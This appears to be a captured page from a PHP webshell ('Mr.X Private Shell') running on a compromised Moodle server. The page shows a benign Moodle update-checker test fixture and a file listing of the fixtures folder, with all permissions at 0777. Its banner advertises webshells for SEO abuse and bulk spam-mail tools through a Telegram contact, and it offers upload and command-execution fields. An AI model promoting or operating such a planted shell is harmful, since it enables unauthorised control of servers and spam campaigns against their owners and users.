__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Provides \core\update\testable_checker class.
 *
 * @package     core_plugin
 * @subpackage  fixtures
 * @category    test
 * @copyright   2012, 2015 David Mudrak <david@moodle.com>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
namespace core\update;

defined('MOODLE_INTERNAL') || die();

/**
 * Modified version of {@link \core\update\checker} suitable for testing.
 *
 * @copyright 2012, 2015 David Mudrak <david@moodle.com>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class testable_checker extends checker {

    /** @var replaces the default DB table storage for the fetched response */
    protected $fakeresponsestorage;
    /** @var int stores the fake recentfetch value */
    public $fakerecentfetch = -1;
    /** @var int stores the fake value of time() */
    public $fakecurrenttimestamp = -1;

    /**
     * Factory method for this class.
     *
     * @return \core\update\testable_checker the singleton instance
     */
    public static function instance() {
        global $CFG;

        if (is_null(self::$singletoninstance)) {
            self::$singletoninstance = new self();
        }
        return self::$singletoninstance;
    }

    protected function validate_response($response) {
    }

    protected function store_response($response) {
        $this->fakeresponsestorage = $response;
    }

    protected function restore_response($forcereload = false) {
        $this->recentfetch = time();
        $this->recentresponse = $this->decode_response($this->get_fake_response());
    }

    public function compare_responses(array $old, array $new) {
        return parent::compare_responses($old, $new);
    }

    public function is_same_release($remote, $local=null) {
        return parent::is_same_release($remote, $local);
    }

    protected function load_current_environment($forcereload=false) {
    }

    public function fake_current_environment($version, $release, $branch, array $plugins) {
        $this->currentversion = $version;
        $this->currentrelease = $release;
        $this->currentbranch = $branch;
        $this->currentplugins = $plugins;
    }

    public function get_last_timefetched() {
        if ($this->fakerecentfetch == -1) {
            return parent::get_last_timefetched();
        } else {
            return $this->fakerecentfetch;
        }
    }

    private function get_fake_response() {
        $fakeresponse = array(
            'status' => 'OK',
            'provider' => 'https://download.moodle.org/api/1.0/updates.php',
            'apiver' => '1.0',
            'timegenerated' => time(),
            'forversion' => '2012010100.00',
            'forbranch' => '2.3',
            'ticket' => sha1('No, I am not going to mention the word "frog" here. Oh crap. I just did.'),
            'updates' => array(
                'core' => array(
                    array(
                        'version' => 2012060103.00,
                        'release' => '2.3.3 (Build: 20121201)',
                        'maturity' => 200,
                        'url' => 'https://download.moodle.org/',
                        'download' => 'https://download.moodle.org/download.php/MOODLE_23_STABLE/moodle-2.3.3-latest.zip',
                    ),
                    array(
                        'version' => 2012120100.00,
                        'release' => '2.4dev (Build: 20121201)',
                        'maturity' => 50,
                        'url' => 'https://download.moodle.org/',
                        'download' => 'https://download.moodle.org/download.php/MOODLE_24_STABLE/moodle-2.4.0-latest.zip',
                    ),
                ),
                'mod_foo' => array(
                    array(
                        'version' => 2012030501,
                        'requires' => 2012010100,
                        'maturity' => 200,
                        'release' => '1.1',
                        'url' => 'http://moodle.org/plugins/blahblahblah/',
                        'download' => 'http://moodle.org/plugins/download.php/blahblahblah',
                    ),
                    array(
                        'version' => 2012030502,
                        'requires' => 2012010100,
                        'maturity' => 100,
                        'release' => '1.2 beta',
                        'url' => 'http://moodle.org/plugins/',
                    ),
                ),
            ),
        );

        return json_encode($fakeresponse);
    }

    protected function cron_current_timestamp() {
        if ($this->fakecurrenttimestamp == -1) {
            return parent::cron_current_timestamp();
        } else {
            return $this->fakecurrenttimestamp;
        }
    }

    protected function cron_mtrace($msg, $eol = PHP_EOL) {
    }

    protected function cron_autocheck_enabled() {
        return true;
    }

    protected function cron_execution_offset() {
        // Autofetch should run by the first cron after 01:42 AM.
        return 42 * MINSECS;
    }

    protected function cron_execute() {
        throw new testable_checker_cron_executed('Cron executed!');
    }
}


/**
 * Exception used to detect {@link checker::cron_execute()} calls.
 *
 * @copyright 2012, 2015 David Mudrak <david@moodle.com>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class testable_checker_cron_executed extends \Exception {
}

Filemanager

Name Type Size Permission Actions
component Folder 0777
core_renderer Folder 0777
fakeplugins Folder 0777
hook Folder 0777
langtest Folder 0777
messageinbound Folder 0777
router Folder 0777
update_validator Folder 0777
attribute_helper_example.php File 2.53 KB 0777
block_ablocktype.php File 1.01 KB 0777
component_class_callback_example.php File 1.84 KB 0777
deprecated_fixtures.php File 3.91 KB 0777
empty.txt File 32 B 0777
event_fixtures.php File 8.2 KB 0777
event_mod_badfixtures.php File 1.12 KB 0777
event_mod_fixtures.php File 1.11 KB 0777
events.php File 1.73 KB 0777
fixtures_not_tested_test.php File 1.35 KB 0777
gd-logo.png File 2.39 KB 0777
google_gmail.ics File 576 B 0777
max_input_vars.php File 8.09 KB 0777
ms_outlook_2010.ics File 1.19 KB 0777
namespaced_form.php File 1.52 KB 0777
osx_yosemite.ics File 763 B 0777
readonlyform.php File 2.17 KB 0777
repeated_events.ics File 825 B 0777
sectiondelegatetest.php File 4.65 KB 0777
securetestpage.php File 1.33 KB 0777
stats_events.php File 1.65 KB 0777
statslib-test00.xml File 1.02 KB 0777
statslib-test01.xml File 3.29 KB 0777
statslib-test02.xml File 3.3 KB 0777
statslib-test03.xml File 4.27 KB 0777
statslib-test04.xml File 4.45 KB 0777
statslib-test05.xml File 4.32 KB 0777
statslib-test06.xml File 4.5 KB 0777
statslib-test07.xml File 4.72 KB 0777
statslib-test08.xml File 3.73 KB 0777
statslib-test09.xml File 3.62 KB 0777
statslib-test10.xml File 3 KB 0777
tabfile.csv File 344 B 0777
task_fixtures.php File 3.76 KB 0777
test_external_function_throwable.php File 2.58 KB 0777
test_renderer_factory.php File 5.34 KB 0777
testable_antivirus.php File 2.76 KB 0777
testable_auth_plugin_base.php File 1.84 KB 0777
testable_block_manager.php File 1.44 KB 0777
testable_core_h5p.php File 3.5 KB 0777
testable_core_media_player.php File 2.85 KB 0777
testable_core_media_player_native.php File 2.66 KB 0777
testable_encryption.php File 1.09 KB 0777
testable_flexible_table.php File 1.41 KB 0777
testable_plugin_manager.php File 4.02 KB 0777
testable_plugininfo_base.php File 1.73 KB 0777
testable_update_api.php File 7 KB 0777
testable_update_checker.php File 6.01 KB 0777
testable_update_code_manager.php File 1.93 KB 0777
testable_update_validator.php File 1.69 KB 0777
testeable_dynamic_tab.php File 1.92 KB 0777
timezonewindows.xml File 42.83 KB 0777
upload_grades.csv File 61 B 0777
upload_users.csv File 191 B 0777
upload_users_category.csv File 720 B 0777
upload_users_cohorts.csv File 276 B 0777
upload_users_email_matching.csv File 194 B 0777
upload_users_emailstop.csv File 154 B 0777
upload_users_enrol_date_period.csv File 226 B 0777
upload_users_profile.csv File 194 B 0777
upload_users_themes.csv File 311 B 0777
Filemanager